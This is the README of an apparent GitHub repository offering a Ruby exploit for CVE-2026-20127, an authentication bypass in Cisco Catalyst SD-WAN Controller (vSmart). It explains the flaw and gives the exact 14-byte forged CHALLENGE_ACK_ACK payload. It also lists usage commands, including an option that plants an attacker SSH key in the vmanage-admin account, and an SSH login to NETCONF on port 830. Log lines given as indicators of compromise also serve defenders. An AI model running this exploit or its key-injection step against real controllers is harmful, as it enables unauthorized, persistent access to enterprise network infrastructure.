Skip to content

TIEOrg/CVE-2026-20127

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-20127

Overview

An exploit for the Cisco Catalyst SD-WAN Controller authentication bypass vulnerability, CVE-2026-20127.

This exploit targets the vbond_proc_challenge_ack_ack() handler. It sends a forged CHALLENGE_ACK_ACK message (msg_type=10) with an attacker-controlled verify_status=1 byte, directly forcing the server to set authenticated=1 on the peer entry.

How it works

In the normal DTLS control-plane handshake:

  1. Client connects via DTLS with a certificate
  2. Server sends CHALLENGE (msg_type=8)
  3. Client responds with CHALLENGE_ACK (msg_type=9) containing certificate data
  4. Server verifies the certificate and sends CHALLENGE_ACK_ACK (msg_type=10) with verify_status=1

This exploit short-circuits the flow:

  1. Client connects via DTLS with a self-signed certificate
  2. Server sends CHALLENGE
  3. Client sends CHALLENGE_ACK_ACK (msg_type=10) with verify_status=1 directly
  4. Server's vbond_proc_challenge_ack_ack() reads verify_status from the message body — this is attacker-controlled
  5. Since verify_status != 0, the server sets authenticated=1 (*(BYTE*)(a2+70) = 1)

The auth gate in vbond_proc_msg() exempts msg_type=10 from authentication checks, so this works even though the peer is not yet authenticated.

Tested to work successfuly against Cisco Catalyst SD-WAN Controller (aka vSmart), version 20.15.3.

Tested to fail against a patched Cisco Catalyst SD-WAN Controller (aka vSmart), version 20.12.6.1.

Usage

Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

Example

# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

The following screenshot shows successfull exploitation and subsequent SSH access to the NETCONF service:

CVE-2026-20127 Example

Technical Details

The vulnerable function: vbond_proc_challenge_ack_ack()

Located at address 0x38AB7 in vdaemon (20.12.5). The function processes incoming CHALLENGE_ACK_ACK messages and has these key checks:

  1. Duplicate check (a2+112): Rejects if a CHALLENGE_ACK_ACK was already processed for this peer. First time through, this counter is 0 → passes.
  2. vBond rejection (a1+8 == 4): Returns 20 if the local device is a vBond. We target vSmart (type=3) → passes.
  3. Timer creation: Creates hello-timer and expiry-timer. Unlikely to fail → passes.
  4. verify_status (a3+32): Reads the first byte of the message body. If zero → reject path (peer deletion). If non-zero → sets *(BYTE*)(a2+70) = 1 (authenticated).

The critical flaw: verify_status comes directly from the attacker-controlled message body with no server-side validation. The function trusts the peer's claim about verification status.

The auth gate exemption

In vbond_proc_msg(), the authentication gate that blocks unauthenticated peers from sending most message types explicitly exempts msg_type=10 (CHALLENGE_ACK_ACK). This is necessary for the legitimate protocol flow (the server sends ACK_ACK to the client before authentication is complete), but it also allows an attacker to send a forged ACK_ACK to the server.

Wire format

The exploit sends a 14-byte message:

Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOCs

In this example, the target was a Cisco Catalyst SD-WAN Controller (aka vSmart), version 20.15.3. The target had an IP address of 192.168.86.166 and the attacker had an IP address of 192.168.86.35.

The log file /var/log/vsyslog recorded these messages:

Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

The log file /var/log/vdebug recorded these messages:

Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

After sucecssfully using the exploit, the remote attacker can leverage the newly uploaded vmanage-admin users SSH key to login to the NETCONF service over SSH on TCP port 830. The log file /var/log/auth.log recorded these messages:

Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)

About

An exploit for the Cisco Catalyst SD-WAN Controller authentication bypass vulnerability, CVE-2026-20127

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages

  • Ruby 100.0%